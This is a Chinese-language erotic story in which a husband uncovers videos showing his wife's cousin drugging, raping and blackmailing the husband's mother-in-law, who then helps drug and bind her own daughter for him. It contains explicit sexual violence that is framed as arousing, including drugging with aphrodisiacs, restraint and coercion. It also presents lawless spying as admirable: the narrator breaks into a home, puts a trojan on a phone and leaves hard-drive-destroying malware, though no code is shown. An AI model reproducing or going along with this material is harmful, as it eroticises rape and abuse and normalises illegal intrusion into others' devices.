图片载入中

出卖妻子的岳母

特大字】 【大字】 【中字】 【小字

历时一周的珠宝展示会终于结束了,我作为安保公司代表参加了主办方举办的庆祝酒会。老实说我对这种酒会实在是兴趣不大,不过作为公司老总不参加又不好,所以我勉强捱到七点多,借口公司有事情,让另几个喜欢活动的合伙人慢慢玩,就开车回家了。

为了这个珠宝展,我前前后后忙了快两个月,好久没和老婆爱爱了,想到这里心里就一阵火热,想到回家后能和老婆好好过个周末,心里就是一阵温馨。

这里先自我介绍一下。本人赵刚,三十八岁,曾任南京军区某侦察连连长,几年前下海和几个官二代朋友合伙开了一家保全公司,担任法人代表和总经理职务。

我的妻子名叫林雨柔,今年二十四岁。在税务局上班。妻子是典型的江南女子,书香门第。妻子长发披肩,肌肤赛雪,性格婉约体贴,她身高一百七十二公分,五十公斤,标准的模特身材,胸部不大但也不小,34C的罩杯配上二十二的细腰和三十六的翘臀显得整个人前凸后翘。尤其是妻子那长达一米一左右的长腿,不输任何专业腿模,站在我高达一百八十六公分的身体旁边显得格外合衬。

大家一定会想,为什么那么好条件的女人会愿意嫁给一个比她大那么多的男人呢?这个故事就要从十年前说起了。

我是老赵家这一代唯一的后代,以前解放前家里也算是富裕之家,后来虽然被红卫兵冲击,但是平反后政府还是归还了大部分的私房老宅。大学毕业后我父母意外过世,我伤心之余就报名参军了,由于我敢打敢拼,又是大学生,所以很快就提干了。凑巧遇上老房动迁,由于我家是私房又是军官,所以开发商也不敢搞花样,所以我拿到几十万补贴和四套房子。请假回来和开发商签好协议后看看还有几天假期,想到自己已经多年没有回来过,便一个人在上海到处逛逛,算是寻找儿时的回忆。

有一天我逛到中山公园,这里是我小时候父母带我来玩过的地方。我站在桥上回想着过去的快乐时光,突然一个女人大声尖叫起来:“来人啊!救命!我女儿落水了!”我猛地惊醒,看见一个女人站在不远处的湖边,对着一个落水女孩大叫。

女孩看起来不会游泳,已经在湖中浮浮沉沉,断断续续的叫着救命。由于不是周末,所以游人不多,周围更是没有一个人。

我赶忙冲过去,“噗通”一声跳下湖,快速游到女孩身边,这时女孩已经慢慢沉了下去,我深唿吸潜入水下,和女孩四目相对,看着女孩无力地闭上眼睛。我赶忙托住女孩的腰往上游,手臂环住女孩胸口让她靠在我身上,带着她往岸边游去。

我把女孩送上岸后,发现女孩已经昏迷,我大声对岸边已经吓哭了的女人叫道:“快打电话叫救护车!”然后俯下身,为女孩做急救,又是人工唿吸又是心肺复苏,废了好大的工夫才让女孩吐出呛住的水,一口气缓了过来。

女孩慢慢睁开眼睛,一只手紧紧拉住我的胳膊,然后又晕了过去。这时救护车也来了,想把女孩的手松开,但是女孩很用力的抓住,如果硬扳怕会弄伤女孩的手指。无奈我只能坐上救护车和女孩母亲一起去了医院。车上女孩母亲只是害怕的不停哭,嘴里叫着女孩的名字:“雨柔,雨柔,妈妈不好,妈妈没能照顾好你,妈妈对不起你。”我只能好声安慰她。

到了医院,医生检查后表示女孩没什么问题,就是受惊过度所以昏迷,帮女孩打了一针镇定剂后,就离开病房了。我看着女孩拉住胳膊的手问医生,医生表示现在不能强行拉开,只有等女孩苏醒后自己放开了。

这时女孩母亲缓过神来,开始不停感谢我,我见自己也走不掉,就和她闲聊了起来。女人说自己叫杜梅,三十四岁,是个舞蹈老师,女孩叫林雨柔,今年十四岁。

我问杜梅怎么不和先生一起带女孩出来玩,结果杜梅眼睛就红了,原来杜梅老公是个科学家,参加国家的一项科研研究时发生意外,一年前过世了,今天就是她老公的周年祭日,杜梅带着女儿来公园就是因为这里是杜梅和她老公谈恋爱时第一次约会的地方。

杜梅在公园想起老公在世时的种种,沉浸在回忆中不能自拔,结果一时疏忽没注意女儿,结果女儿就不知怎么的掉下水了。

杜梅说到这里又哭了出来,连声感激我道:“小伙子,真的谢谢你,今天要不是你,我女儿就没救了,要是我再失去女儿,我真的就不想活了。”说罢“呜呜”的哭了起来。我连忙安慰她道:“大姐,别客气,我是一名军人,这是我应该做的。”

我们就这样聊了起来,从聊天中我了解到杜梅的父亲也是一位军人,母亲则是教师,杜梅父母在杜梅十二岁的时候就出车祸过世了。老公也在去年去世,现在和女儿相依为命。我听了不由为她感到可怜,自古红颜多薄命,杜梅也算得上是个苦命人。

这时候候我才仔细打量了一下杜梅的样子,一看之下不由赞叹了一声:“好美的女人!”杜梅长得一头乌黑的披肩长发,身高大约一米七左右,胀鼓鼓的胸脯把衣服撑起得老高,长期跳舞练就了她漂亮的长腿和诱人的身段。

杜梅的容貌属于中上,但是配合她典雅的气质和忧郁的眼神,给人一种想好好抱紧在怀里呵护的冲动。

我们聊着聊着渐渐熟悉起来,我称唿杜梅“梅姐”,她则称唿我“小刚”。

我见杜梅的精神有点不济,便对她说:“梅姐,先去休息会吧,看你累的样子,别病了。”杜梅还在犹豫,我接着说:“今天小雨柔看样子是不能出院的,你晚上要陪她,要是现在不休息好,你怎么陪?再说我现在也走不了,干脆我陪着小雨柔,你去休息吧!”

杜梅听我这样说,也就不再拒绝,去了旁边的沙发上躺下睡了。我坐在病床边,看着这个昏迷的女孩,想到她在水下昏迷前看我的那一眼中透露出的一种哀伤、痛苦的眼神,让我对她产生一种怜爱,我想到一个这样年轻的女孩经历多少事才能有这样的眼神。

我就这样看着雨柔昏睡的样子,不知道过了多久,我看到雨柔紧闭的眼睛缓缓睁开,我连忙对她说:“你醒啦,有什么不舒服的地方吗?我去叫你妈妈。”说完我就抽手想起身去叫杜梅,没想到雨柔拉住我的手不松开,她眼神中透露出依恋的神情,对我说道:“别走,我怕。”我连忙安慰她道:“别怕,已经没事了,我不走,放心。”

我就这样和雨柔说着话,慢慢了解她出事的原因。原来她在父亲死后也是很悲伤,在湖边见到杜梅呆呆的样子她知道母亲想起了爸爸。雨柔见母亲这样突然觉得生无可恋,随意在湖边走着,一下没注意脚下,结果就跌进了湖里,由于不会游泳,结果只能不停挣扎。

我听了雨柔的话不由得一阵怜意上涌,我拿出十八般武艺努力逗她开心,我们很快就成了无话不谈的好朋友。我从小没有兄弟姐妹,所以见到这个比我小十几岁的小女孩,我不由得涌起一股想当她哥哥的想法。

我认真的对雨柔说道:“小雨柔,愿意认我这个哥哥吗?我会当你是我亲妹妹一样的对你好的。”

没想到雨柔听了我的话沉默了,过了一会她才抬起头,看着我的眼睛说道:“小刚哥哥,我不要你当我是妹妹,我要做你的老婆,你等着我,我毕业了一定要嫁给你。”她的语气坚定,我却感到一阵好笑。雨柔见我不信,又很认真的说道:“我以父亲为证,我要嫁给赵刚哥哥,爸爸你在天之灵为我祝福吧!”说着她凑近在我的脸上亲了一下。

我没想到雨柔会说出这样的话,想着她现在还年轻,可能是感激我救了她,小孩子过段时间就会忘了,便不再多想。后来杜梅醒了后,我起身告辞,我们互留了联系方式。后来的日子里,雨柔每个星期都会给我写信,告诉我她的情况,我们就这样通过信件了解对方的事情。我只要休假了就会去看雨柔和杜梅,帮她们做做家务,照顾她们生活。我真的把雨柔和杜梅当成了自己的姐姐妹妹。

在雨柔大学毕业的时候,她邀请我去参加她的毕业典礼,然后在她同学老师的面前,大声说出对我那么多年的喜欢,宣布要嫁给我。当时我被感动得一塌煳涂,就这样我们结婚了。

结婚后的生活非常幸福美满,我的事业蒸蒸日上,雨柔也因为父亲的原因被国家照顾进入了公务员体系。杜梅成了我的岳母,我很尊敬她,把她当成我的亲妈一样对待。为了方便大家互相照顾,我本来想让大家住在一起的,但是杜梅不愿意打扰我们夫妻的生活,所以我在一个别墅社区里买了两套邻近的别墅给自己和杜梅居住。

在对老婆的思念中,我回到了家,没想到老婆不在家。我感到意外,因为已经快八点了。我拿起电话给老婆打了个电话。电话铃响了很久才接通,“喂……老公,你找我?”电话里传来老婆的声音,听起来有点喘。我也没在意,问道:“老婆,你在哪里?我到家没见你,怕你有什么事情所以打个电话问下。没什么事吧?”

老婆听了我的话说道:“没事,我在妈这里,她有点不舒服。”

我赶忙问道:“妈没事吧,要不要我过来送她去医院?”

老婆说道:“不用,就是一点胃痛,我餵妈吃了药了,现在已经睡着了,我也准备回来了。”

我听了就说:“没事就好,让妈休息吧!好了,不说了,有话回来再聊。”

“好的,老公,我马上回来。”妻子说道。

我刚想挂电话,却隐约听到电话里妻子的声音,可能妻子忘了按挂机键了,电话还在通话中。

很轻的“啪”一声,然后听到一个男人说道:“小妹,对不起。”

岳母的声音也响了起来:“小柔,别怪妈好吗?”

“我老公回来了,快让我上去。”妻子的声音带着气愤伴随急促的喘息,然后就是一阵抖动的声音。

我漠然的挂断电话,想着究竟是怎么回事?不是说岳母病了睡着了吗?还有那个叫妻子小妹的男人不就是以前在岳母家住过一段时间的妻子大伯的儿子,林斌吗?他为什么要说对不起?妻子和岳母还有林斌到底怎么了?

林斌是妻子大伯的儿子,今年二十七岁。大伯以前插队落户去了江西,然后就在当地安家落户了。林斌从小在江西长大,大学文科毕业后好几年没有找到稳定的工作,后来到上海投靠我岳母。小伙子长得挺白净的,看上去斯斯文文,和我那过世的老丈人有七成像,所以岳母也挺喜欢这个侄子的,让我帮帮他。我看他样子挺老实的而且又是亲戚,便让他进公司做财务,管理一下帐务,他做事挺勤恳的。没想到居然在电话里听到他的声音。

在我还沉静在疑惑中时,妻子已经回来了,她脸色红扑扑的,看起来走得很快,不停喘着气。

妻子进门后问道:“老公你不是参加酒会去了吗?怎么这么早就回来了。”

我还在疑惑究竟发生什么事情,便说道:“累了好几天,没什么精神就早点回来了。”

妻子见我这样说,就让我等一会,然后她去浴室为我放热水泡澡。过一会妻子让我进浴室,我躺在浴缸里泡着热水,脑子里还是想着刚才的事情,这时妻子赤裸着身子走进了浴室,她温柔的用热水为我擦拭身体,帮我放松心情,我舒服的闭起眼睛。

过了一会,妻子开始挑逗我的身体,抚摸我的阳具,轻吻我的肌肤,我没一会就被她挑逗得情欲高涨。我开始和妻子相互抚摸,摸着妻子光滑细腻的肌肤,亲吻着她那饱满翘挺的乳房,我的鸡巴不由得涨大。

妻子在我的挑逗下很快就湿了,她轻声说道:“老公,给我吧!”我看了妻子情欲勃发的样子,心里隐隐有些疑惑,妻子是个传统女性,记忆中还没有那么主动对我提出过性爱的要求,不过这时我已经箭在弦上,也不去多作考虑,挺起鸡巴就捅进了妻子潮湿温暖的阴道。妻子的反应很强烈,主动抬起下身回应我的抽动,我感到从所未有的舒爽。

因为我的鸡巴特别粗长,当兵时为了解决生理问题也找过妓女,而且特别要找那种老鸡,因为年轻的经验不够,老是让我没办法畅快发泄。就算是老鸡也经常被我弄得苦叫不已,所以为了不弄痛妻子,我每次都只能温柔轻缓的抽动,像今天这样让我彻底放开的情况还是结婚后的第一次。

我搞了十几分钟,妻子已经高潮了两次了,她无力的滑落到地上,我只能抱起她回到房间。我把妻子放在床上,妻子主动趴伏下身子撅起屁股,这个姿势我们以前试过一次,妻子很不喜欢,说很没有尊严的感觉,所以打那以后我们就再也没有用过,没想到今天妻子却主动摆出这个姿势让我操弄。

我这时已经兴奋得没有思考的能力,只知道在妻子的阴道中畅快地挺动,今天妻子的配合度非常高,在我的进攻中表现得非常兴奋,嘴里“哼哼唧唧”呻吟声不断,不停叫道“老公,我爱你”、“爱我,老公”、“老公,给我”。

当我感觉快射了的时候,我想抽出来射在体外,因为妻子还不想要孩子,所以我虽然不满但是也不想强迫她。没想到这次妻子却主动阻止了我拔出鸡巴的动作,她大声喘着粗气说道:“老公,射进来,给我,我要为你生孩子。”

我听了心情一阵激动,动作不由得又快了几分,妻子在我的剧烈抽送中再一次得到了高潮,淫水在我的鸡巴抽动下不断涌出。当我射精的时候,妻子大声无意识的尖叫着,阴道一阵阵的收缩挤压着我的鸡巴,让我爽得只能不断喷发。

畅快地射精后,我躺在妻子身边,妻子已经无意识的昏睡过去了。这时我才有机会仔细看着妻子的身子。我突然发现在妻子的手腕脚腕处有很轻微的痕印,妻子的肌肤非常细腻,所以她只要有点碰撞就会有印迹,那这里的印迹代表了什么呢?

我的手不由得开始检查起妻子的身体,凭我多年的侦察兵经验,我断定妻子是被柔软的物件在手腕脚腕处捆扎过,所以才会留下这样的印迹。我心里一阵紧张,难道刚才妻子被人绑起来了?是林斌吗?那岳母为什么也在?

我的脑子一片混乱,不由自主地开始检查起妻子其它的地方。妻子的阴道因为我刚才的做爱已经一片狼藉,看不出什么线索了,我很沮丧,怀疑妻子会不会就是为了掩饰证据才会故意引诱我,好破坏证据。

就在我胡思乱想的时候,我突然发觉妻子的肛门有情况,括约肌不像正常时那样紧紧收拢,中间有一丝缝隙,露出一个细小的口子。我不由自主地伸出手指探进妻子的肛门,很轻松,手指一下就插进了妻子的肛门。我的心里一阵酸楚,我了解这代表着什么,妻子的肛门在不久前刚被人用过!我心头一阵火气,就想马上叫醒妻子问个明白。

这时妻子突然无意识的说了句话:“妈,别这样,我不能对不起刚子。”

我听了妻子的话,渐渐冷静了下来,这件事很明显是林斌对妻子不轨,而且岳母也牵涉其中。妻子看起来还是爱我的,所以我决定先不去揭穿,准备寻找到证据再决定下一步的行动。

打定主意,我为妻子清理身子,然后抱着她睡了过去。

第二天醒来,妻子已经起床了,我走出房间看见客厅的餐桌上已经摆上了丰盛的早餐。妻子这时从厨房里走了出来,手里端着一锅热腾腾的豆浆,看见我起床了,就让我去刷牙洗脸然后吃早饭,说这个双休日要我好好陪她出去玩玩,逛逛街。看着妻子的样子,我下定决心,不管付出什么代价,我都要保护好我的妻子。

接下来的几天,我派以前的几个老部下对林斌和岳母进行全方位的侦查,很快他们就传回了消息,原来林斌几乎每天下班都会去岳母家,一般都要到晚上十一、二点后才会回自己租借的房子。

我想起那时林斌刚来的时候,岳母说过他一个男孩子烧饭不方便,邀请林斌到自己家搭伙,我和妻子有时去岳母家吃饭也都遇见林斌,最近这大半年因为工作忙的关系,我都没注意到林斌什么时候回家的,没想到他要那么晚才会回家,看来一切的答案应该就在林斌家和岳母家了。

我通过公司的无线网路,在林斌的手机里加入木马程式,监控他手机的所有的情况。在林斌的手机中,我发现几张妻子和岳母的照片,其中大部分都是妻子和岳母的生活照,只有两张是裸照。

一张是岳母全身赤裸仰面躺在床上,头侧在一边,眼睛闭着,看起来是睡着的样子,两腿大大分开,阴道里明显是性交后的样子,白色精液把岳母浓密的阴毛都煳得白了一片。

另一张是妻子全身赤裸,被从腰上挂绳吊在房间中央,脑袋无力的垂下,双手向后被固定在一根铁链上,双脚被迫分开,岳母则跪在妻子身边,深情的看着镜头。

我看见这张照片时胸口的怒火勃然喷发出来,真想马上找人狠狠教训一顿林斌,打断他的四肢,废了他的子孙根。

我大口喘气,过了好久才平复下激动的心情。林斌对我来说只是个小人物,我随时都能碾死他,但是岳母到底在其中扮演了什么角色,如果不搞明白这点,我就不知道该怎么解决这个问题。

我安排林斌去外地处理一个欠款,还对他说是公司要提拔他进入管理层,林斌很高兴,兴冲冲的就去了。其实那家公司的老板是我以前的一个战友,我特意让他留住林斌一段时间,好让我慢慢找证据。

我第一个目标就是林斌租借的房子。区区门锁对于我这个特种侦察兵而言如同虚设,我打开房门,首先仔细观察了屋内的情况。房间陈设很简单,一张床,一个大衣柜,一张写字台和一台电脑。

我里里外外找了个遍,没发现什么有用的东西,于是打开电脑,发现林斌设了密码,我用工具解码后进入系统,在硬盘里发现一个隐藏的文件夹,名称叫做“我的女奴”,打开之后发现有大约几百张照片都按照时间分别归类在几个文件夹里,还有大概十几段视频。我也不去一一欣赏,直接全部拷贝到我的随身硬盘里,然后在电脑里安装好病毒,只要有人再打开这个文件夹就会造成蓝屏,而且会对硬盘造成物理破坏,资料会自动清除,没有任何办法恢复。

接着我清理了一下痕迹,退出房间再次锁上房门。带着这些资料回到公司,我吩咐秘书不要让人打扰我,接着就把移动硬盘连接上电脑,开始看了起来。

我首先浏览了那些图片,一开始明显都是手机偷偷拍摄的,画面比较模煳,大概过了三分之一后开始图片品质好了,而且岳母明显知道被拍摄,还会对着镜头配合。照片的内容从平时的生活照,到一些全裸照,后面还出现很多岳母被调教的照片,捆绑、虐待、鞭打、遛狗,大部分都是在一间四面镜子的房间。

我一看就知道那是岳母家的练舞房。由于岳母是舞蹈老师,所以我在装修时特意为她把地下室改成了舞蹈室,而且岳母说她不喜欢练习舞蹈的时候有人在身边,所以我还从来没进去过。没想到林斌这个混蛋不但进去了,还在里面玩弄岳母这个大美人。

老实说,对于岳母我一直是有好感的,毕竟我们的年龄更加接近,所以以前还没有和妻子确立关系时我还曾经动过娶了岳母的念头。不过那时妻子虽然小,但是已经看得出我的念头,还特意警告我不要忘记她对我的约定,并且一直缠着我,让我不能对岳母有进一步的想法。后来结婚后我也就断了这个念头,真心尊敬岳母,她在我心中可以说亦母亦姐。

我看着照片里岳母迷人的肉体、被林斌性虐时透露出的迷人媚态,鸡巴不由得硬了起来。我的心里充满了疑惑,以前那个温婉贤淑的岳母,那个深爱死去岳父的岳母,你去哪里了?

我看完了照片,没有发现关于妻子的内容,全部都是岳母的照片,看来除了手机里的那张妻子裸照外,林斌没有拍妻子其它的照片,这让我不由松了口气。我一直害怕会看见妻子如同岳母那样被林斌调教的照片,那到时候我真不知该如何面对她。

我开始观看视频。

我打开第一个视频,看起来是用手机拍摄的。岳母衣衫半裸的躺在床上,眼睛紧闭,双腿架在林斌的肩膀上,看样子是处于无意识状态。林斌手持手机一边拍摄,一边扶着鸡巴往岳母的阴道里捅,一开始进去得不是很顺利,林斌拔出鸡巴,往龟头上抹了大量的口水,然后再次挺了进去,接着就是一阵猛干,大概三五分钟就射了出来,然后就像被人抽干力气一样,躺倒在岳母身边大喘气。

视频到这里就结束了,我心里鄙视道:‘难怪要搞那么多变态的花样,就这样一个样子货,简直丢男人的脸,也不知道年纪轻轻怎么会虚成这样,看来是纵欲过度了。’

我明白这应该是林斌在岳母无意识的情况下强奸了岳母!看视频的日期是去年岳父去世十周年纪念的那天。

我记得那天岳母和妻子很伤心,喝了好多酒,岳母更是醉得不省人事,我由于要照顾妻子,而且当时林斌就借宿在岳母家,所以我送岳母到家后嘱咐林斌照顾岳母就离开了,没想到这个畜牲居然敢强奸自己的婶婶!

我打开第二个视频,岳母昏迷的倒在一张单人皮沙发上,林斌先把手机摆在茶几上对准岳母,然后扶起岳母,动手脱光她身上的衣物,接着拿出绳子将岳母左右脚分开在沙发扶手两侧,然后和把左手左脚、右手右脚分别捆在一起,再固定在沙发的支脚上。由于姿势关系,岳母的下身挺起,彻底暴露了出来,露出阴部那淫靡的肉穴。

林斌拿出一个口塞球堵住岳母的嘴,拿出一罐药膏,开始在岳母全身的敏感带涂抹,尤其是双乳和阴户,更是抹了很多。接着林斌把自己的衣服脱光,拿起手机开始开始对准岳母的样子上下左右的拍摄。

岳母全身每一处肌肤都被拍到,那饱满巨大的乳房、平坦的小腹、丰满的大腿、圆润的丰臀,还有那微微张开的小穴、紧紧闭合的肛门,一切的一切都清晰的呈现在我面前,我的手不自主地握住自己已经膨胀的鸡巴开始套弄起来。

这时岳母慢慢清醒了过来,她明显还没有弄清楚发生了什么,迷茫的看了一下四周,突然看见全身赤裸的林斌,一下子被惊呆了,岳母开始挣扎,不过被固定在沙发上的身体根本没办法移动,想叫喊由于嘴被口塞堵住只能发出“呜……呜……”的低叫声。

林斌见岳母醒了过来,便把手机固定在一边,然后跪下凑在岳母的身前,轻声说道:“梅姨,别紧张,是我。我终于要得到你了,你知道我有多喜欢你。”说着他伸出手抚摸岳母光滑的肌肤。手指过处岳母明显很害怕很紧张,身体不停抖动,嘴里不断发出哀求的“呜呜”声,口水不断流出滴落,顺着岳母的丰乳滑落到小腹处。

林斌见岳母想说话,他对岳母说道:“梅姨,你有话要说是吗?我给你解开口塞,不过你要乖,别乱叫,不然我会生气的。”说完他拿开了岳母嘴里的口塞球。岳母的嘴得到解放,马上大口大口的喘气,一没留神还把积存的口水呛进了气管,引得一阵剧烈的咳嗽。林斌见状就起身走到岳母身边为她拍弄后背,好一会岳母才顺过气来。

岳母愤怒的对林斌说道:“小斌,快放开姨,你这样做是不对的,别一错再错。你现在放开姨,姨会当什么都没发生,还会认你这个侄子。如果你不放,你以后就别再叫我姨。”

林斌听了,笑嘻嘻的说道:“梅姨,放开你是不可能的,我一定要得到你。二叔已经死了那么多年了,你为他守身也够了,从现在开始你就把我当二叔吧,反正我们长得很像。你是我们林家的人,二叔不在了,就由我照顾你吧!”说完就把口塞又塞回了岳母的嘴里,岳母刚想大叫,嘴就被堵住了,气得眼泪不停地涌出。

林斌笑嘻嘻的俯下身,张大嘴巴含住岳母一边的乳球,一只手把玩另一个。岳母嘴里不停呜咽着,奋力扭动身体,不过都是徒劳。

林斌玩弄了一会岳母的乳房后,跪下身,开始轻吻岳母的阴户,他伸出舌头不停舔弄岳母的嫩肉,挑动阴核,还伸出两根手指插入了岳母的阴道中抠挖,岳母被他弄得娇喘连连,“咿咿啊啊”的哼个不停。

渐渐地,岳母鼻息开始加重,眼神开始迷离。林斌看见岳母这个样子,兴奋的叫道:“这药真灵,那么快就有反应了。”原来他给岳母涂的是性药。

这时岳母已经开始产生感觉,她“呜呜”的不停叫着,林斌见状就摘掉了岳母的口塞,岳母嘴里大声呻吟出来:“嗯……痒,好痒……快给我揉揉,痒死了啊……”一声声的浪叫呻吟从岳母的嘴里传了出来。

林斌兴奋得要死,拿出几个跳蛋用胶布固定在岳母的乳头和阴蒂上,接着拿出一根假阳具也抹上药膏,对准岳母的阴道插了进去。我心想,林斌这小子玩弄女人还真有一手,自己本钱不够就想出那么多花样。

岳母在药物的作用下越来越敏感,意识也开始模煳起来,她在林斌的挑逗下越来越放浪,完全看不出以前那个典雅俏丽、清心寡欲的岳母形象。

林斌就这样用假阳具玩弄了岳母快一个小时,期间岳母已经泄身大概三、四次了,当最后林斌拔出假阳具,挺起他的鸡巴插入岳母身体时,我明显看出岳母已经清醒过来了,眼神没有了迷离,但是叫喊得越来越响,就像是在发泄那么多年的郁结心情。

林斌搞了七、八分钟就射了,他对岳母说道:“梅姨,以后别再想着赵刚那个混蛋了,我会好好待你的。”我一听这句话就蒙住了,岳母想着我?

岳母听了也急了,骂道:“混蛋,你强奸我还要毁我清白。我和刚子是清白的,我们之间没有其它关系。”

林斌笑道:“我知道你们没有肉体关系,但是你敢说心里没想过他吗?我可是有一次亲眼看见你在手淫的时候叫着赵刚的名字,还让他强奸你,你不会反抗的。那个白痴有这么漂亮的岳母也不知道好好安慰,十足一个大傻瓜。”

岳母听了林斌的话,脸涨得红红的,她叫骂着说要告诉我,告诉小柔,要报警抓林斌。

林斌“嘿嘿”笑道:“梅姨,你去告吧,到时候我就给赵刚和小柔看看你手淫时要自己女婿强奸你的视频,我都拍下来了,精彩十足,还有这次的,让大家都好好看看。我大不了进去关几年,可是你以后还能在家里立足吗?”

听了林斌威胁的话,岳母一下就沉默了,这时林斌搂住岳母,开始甜言蜜语的安慰起岳母来:“梅姨,我是真的喜欢你,你放心,只要你以后乖乖听我话,我一定好好待你,让你重新过上一个女人应该有的生活。你刚才不是也玩得很开心吗?只要你以后和我一起,我天天让你开心。”说着开始轻吻起岳母来。

岳母就像是一个玩具一样被林斌随意玩弄抚摸,恣意亲吻,完全没有抵抗。林斌的花样确实多,很快岳母又被他弄得性欲勃发,嘴里开始呻吟起来,在林斌的挑动下又来了一次高潮。

看着岳母瘫软的样子,林斌解开了捆绑岳母的绳索,把岳母搂抱在怀里,岳母任由林斌玩弄自己的身体。突然岳母“啪”的给了林斌一记重重的耳光,对他吼道:“你给我滚!我不想再看见你!”说完就大声哭了起来。

林斌没想到一直温顺的岳母突然爆发,他明显被岳母震住了,匆匆忙忙收拾下东西,然后一句话也不敢说,拿起手机就走了。视频到这里也结束了。

我想着岳母明显没有屈服,为什么她没有告诉我呢?难道真的是怕被我和妻子知道她心里一直有想被我强奸的冲动?我不知道。

后面的视频拍摄时间隔了大概有快两个月,中间发生了什么我没法了解,我只知道从后面开始,岳母越来越放浪了,明显是主动陪着林斌,好像是彻底放开了,让林斌玩弄自己,口交、乳交、脚交、肛交……反正什么都有,什么都干。

发展到后来更是出现了被捆绑、鞭打、套着狗圈被林斌牵着在地上爬。我印象最深刻的是在舞蹈房的中间装了一套自动滑轮组,岳母双手双脚被绳子捆在一起后连接上挂钩,被滑轮组仰面腾空吊起,林斌站立着插进岳母的肛门,手里还拿着一只粗大的假阳具在岳母阴户里进出。林斌得意洋洋地说他最近刚赚了一笔钱,这套东西花了他两万多块,特意买来孝敬岳母的。

我就这样一段一段的看着,看到倒数第二段的时候,我看到了岳母被林斌玩弄后,林斌说已经对岳母没兴趣了,该玩的都玩过了,要结束这段关系。岳母听了很紧张,哀求林斌不要不理他,林斌就提出要玩玩母女游戏,要岳母把妻子交给他玩弄一次。

岳母没想到林斌会提出这个要求,苦苦哀求他换一个条件,结果被林斌狠狠的虐待了一番,林斌走时对岳母说:“梅姨,我的条件就是这样,你要是愿意,就准备好了给我电话;如果不肯,以后就不要再找我了。”说完就扬长而去了。

我知道岳母最后还是屈服了,因为还有最后一个视频,我犹豫要不要看,因为里面会出现我的妻子,我想知道事情的经过,可是又怕看到妻子被林斌侮辱的样子。我犹豫了很久,最后还是打开了视频,我想过了,我不怪妻子,她是爱我的,是被自己的母亲出卖的,我不该怪她。如果妻子真的被林斌侮辱了,我会让他们付出代价的。

我打开最后一个视频,看日期离前一个视频中间隔了一个月,这就是岳母犹豫的时间吗?出卖女儿的幸福只要一个月就够了!我叹息着,岳母已经不值得可怜了,她现在就是一个被情欲控制了的女人。

视频开始时是在岳母的练舞室,林斌在摆弄着镜头,调准最佳拍摄角度。弄了一会,镜头稳定住了,我看见妻子穿着裙子昏倒在地上,岳母正在为妻子脱衣服,很快妻子的裙子和内衣裤就被脱下,露出妻子完美的躯体。

林斌这时也走了过去,把妻子翻过身趴在地上,腹部贴在一块小垫子上,我疑惑那幺小的垫子有什么用?这时岳母拿出遥控器按动起来,很快就从天花板上降下一根铁链,下面坠着一个大钩环。

只见林斌把垫子两侧的圆环勾在钩子上,然后拿出皮铐锁住妻子的手腕,拉起后也挂在钩子上,接着拿出一根两头有皮铐的长棍,分开妻子的长腿,两头锁住妻子的脚腕。

林斌站起身看着妻子的样子,脸上露出满意的笑容,他示意岳母拉起铁链,岳母顺从地用遥控器把铁链慢慢收了上去,只见妻子被一点一点的拉起,上身被吊住,那双让我着迷的长腿无力地垂下,和上身形成一个九十度的直角。

林斌看见这样的场景明显已经兴奋了,他对岳母说道:“梅姨,你跪在小柔边上,我要给你们拍一张纪念照。”岳母听了脸一红,但是没有一丝犹豫,顺从的跪好,深情的看着林斌的手机镜头。我知道这就是妻子那张照片的来历。

这时,妻子慢慢清醒了过来,她清醒后先是不可置信的尖叫了出来,嘴里大声叫喊着:“妈!妈!你在哪里?怎么了,妈?”一边叫一边开始挣扎起来。

这时林斌赤裸的走到妻子面前,对妻子说道:“小柔,别叫了,梅姨就在你身边,你看你脚边,她就在那里。”

妻子看见林斌的样子,连忙别过头,看见母亲跪在地上,她吓得哭了出来:“妈,你怎么了?你起来啊!妈,你别吓我,为什么?”然后愤怒的抬头看着林斌:“林斌,你对妈做了什么?你快放开我,要不然我不会放过你的!”

林斌耸耸肩膀,无所谓的说道:“只要梅姨同意,我无所谓。”

这时岳母对妻子说道:“小柔,别怪妈狠心,妈也是没有办法,小斌现在对妈越来越没兴趣了,小斌说妈要是不让他得到你就再也不要妈了!妈已经离不开小斌了!小柔,我好怕,怕小斌不要妈,你是妈的乖女儿,只要小斌得到你,他就答应会和妈过一辈子!小柔,你就当是妈求你了,你就让小斌玩玩吧!小斌会很疼我们母女的。”

妻子听了岳母的话被惊呆了,她结结巴巴的说道:“妈,你……你……你说什么?你和小斌……你们……你……”妻子话都说不清楚了。

这时林斌拿出药膏交给岳母,岳母接过药膏后很熟练的为妻子涂抹,嘴里说道:“小柔,帮帮妈妈吧,妈妈求你了,妈妈保证就一次。小斌,你告诉小柔,一次就够了。”

林斌回答道:“是,就一次。小柔,你让我彻底拥有一次,然后我会和梅姨离开这里,再也不会回来了。”

妻子没有回答,只是不停地挣扎,不停地哭泣。林斌也不去管妻子,自顾自的坐在沙发上,看着岳母拿出跳蛋和假阳具,挑弄妻子的情欲。

岳母把跳蛋固定在妻子的敏感点上,然后用涂抹了春药的假阳具开始刺激妻子的阴户,手指也抹上春药抠挖妻子的肛门,一根,两根……慢慢地妻子被春药刺激得开始适应了岳母的动作,岳母就拿出一根略小的假阳具抹上妻子流出的淫水塞入妻子的肛门。

妻子“呜……呜……”的哭泣,随着岳母的动作,时不时发出诱惑的呻吟。渐渐地,妻子的呻吟开始加大,雪白的皮肤开始泛红,汗水不停渗出,在灯光的照耀下发出妖艳的红晕。

这时妻子明显已经迷乱了,岳母见状,跪在地上对林斌说:“小斌,小柔已经准备好了,你温柔点对小柔,别弄伤她了。”

林斌慢悠悠的走到妻子背后,伸手捏住插在妻子阴道和肛门的按摩棒来回抽动,他语气得意的问妻子:“小柔,你答应让我玩了吗?我保证你一次就会爱上这种感觉的,你看梅姨,现在赶都赶不走。只要你不说、我不说、梅姨不说,这就是我们三个人的秘密,你老公不会知道的。他老是不在家,说是工作,其实还不是出去花天酒地了。他今天也参加舞会去了,没个十一、二点回不来的,说不准找到一个风骚女人晚上就不回家了,你为他守着身子真的不值得。”

妻子没有回应林斌的话,只是不停地呻吟哭泣,林斌见妻子没反应,也不着急,慢慢用假阳具去刺激妻子的情欲,当妻子快要高潮时就拔出假阳具,然后歇歇再插入。这样反复了大约四、五次,妻子被他弄得不上不下的,不停喘气,皮肤越来越红,呻吟声越来越大。

林斌笑着对妻子说道:“小柔,想不想高潮啊?只要你同意让我的鸡巴插进去,我就让你高潮。”说罢用力抽动了几次假阳具后拔出,挺着鸡巴站在妻子身后,龟头对准妻子的阴户,说道:“怎么样,同意吗?”说着开始让龟头进去了一点又拔出,摩擦着妻子的阴道口。

